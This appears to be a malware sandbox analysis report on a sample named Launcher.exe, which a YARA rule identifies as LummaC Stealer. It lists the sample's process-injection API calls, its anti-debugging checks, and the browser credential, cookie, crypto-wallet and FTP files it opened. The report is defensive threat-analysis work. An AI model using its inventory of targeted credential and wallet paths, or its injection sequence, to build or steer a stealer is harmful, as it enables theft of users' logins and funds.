Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Launcher.exe, 00000003.00000003.2169606516.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Launcher.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_0043D920 LdrInitializeThunk,

3_2_0043D920

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0024A464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0024A464

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0026018D mov edi, dword ptr fs:[00000030h]	0_2_0026018D
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023DD90 mov eax, dword ptr fs:[00000030h]	0_2_0023DD90
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00239EF0 mov edi, dword ptr fs:[00000030h]	0_2_00239EF0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0023C785 mov eax, dword ptr fs:[00000030h]	0_2_0023C785
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0023DD83 mov eax, dword ptr fs:[00000030h]	3_2_0023DD83
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0023DD90 mov eax, dword ptr fs:[00000030h]	3_2_0023DD90
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00239EF0 mov edi, dword ptr fs:[00000030h]	3_2_00239EF0

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0024EFB0 GetProcessHeap,

0_2_0024EFB0

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0024A464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0024A464
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0024A458 SetUnhandledExceptionFilter,	0_2_0024A458
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0024CDEA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0024CDEA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00249AF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00249AF9
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00249AF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00249AF9
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0024A464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0024A464
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0024A458 SetUnhandledExceptionFilter,	3_2_0024A458
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0024CDEA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0024CDEA

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0026018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0026018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Launcher.exe

Memory written: C:\Users\user\Desktop\Launcher.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0024A220 cpuid

0_2_0024A220

Source: C:\Users\user\Desktop\Launcher.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0024A8E5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0024A8E5

Source: C:\Users\user\Desktop\Launcher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: Launcher.exe, 00000003.00000003.2256165464.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Launcher.exe, 00000003.00000003.2256165464.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Launcher.exe, 00000003.00000003.2216504961.000000000351C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Launcher.exe, 00000003.00000003.2216522144.0000000003503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
